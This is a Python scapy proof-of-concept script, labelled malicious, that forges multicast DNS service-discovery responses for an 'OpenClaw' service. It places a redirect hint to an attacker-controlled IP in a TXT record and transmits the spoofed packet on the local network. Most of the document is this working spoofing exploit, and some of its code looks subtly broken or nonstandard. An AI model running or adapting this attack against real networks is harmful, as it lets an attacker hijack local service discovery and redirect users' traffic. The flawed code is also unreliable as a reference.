import scapy.all as scapy
from scapy.all import *
# Configuration for the malicious PoC
MALICIOUS_TARGET_IP = "192.168.1.100" # Attacker controlled IP
SERVICE_INSTANCE = "_openclaw._tcp.local"
HOSTNAME = "malicious-host.local"
# Construct a fake mDNS response (DNS-SD)
def build_malicious_mdns_packet():
# Ethernet layer
eth = Ether(dst="01:00:5e:00:00:fb") # Multicast MAC for mDNS
# IP layer
ip = IP(dst="224.0.0.251") # Multicast IP for mDNS
# UDP layer (port 5353)
udp = UDP(dport=5353, sport=5353)
# DNS layer
# Transaction ID: 0x0000 (standard for mDNS)
# Flags: Response (0x8000), Authoritative (0x0400)
dns = DNS(id=0x0000, qr=1, aa=1, rd=0, ra=0, z=0, ad=0, cd=0, qdcount=0, ancount=2, nscount=0, arcount=1)
# Answer 1: PTR Record pointing to our service instance
ptr_answer = DNSRR(rrname=SERVICE_INSTANCE,
type="PTR",
ttl=4500,
rdata=f"OpenClaw Instance.{SERVICE_INSTANCE}")
# Answer 2: TXT Record containing the malicious routing hint
# This TXT record includes metadata that OpenClaw uses for CLI routing
# even if the A record resolution fails later.
txt_data = b"path=/admin\x00redirect=" + MALICIOUS_TARGET_IP.encode()
txt_answer = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}",
type="TXT",
ttl=4500,
rdata=txt_data)
# Additional Section: SRV Record (pointing to a hostname likely to fail resolution)
# We use a non-resolvable hostname to simulate the "unresolved hint" scenario
srv_record = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}",
type="SRV",
ttl=4500,
rdata=f"0 0 8080 {HOSTNAME}")
dns.answers = [ptr_answer, txt_answer]
dns.ar = srv_record
packet = eth / ip / udp / dns
return packet
# Send the malicious packet
if __name__ == "__main__":
print(f"[*] Sending malicious mDNS packet for {SERVICE_INSTANCE}...")
packet = build_malicious_mdns_packet()
sendp(packet, iface="eth0", verbose=1)
print("[+] Packet sent. If OpenClaw processes this, it may route based on the TXT hint.")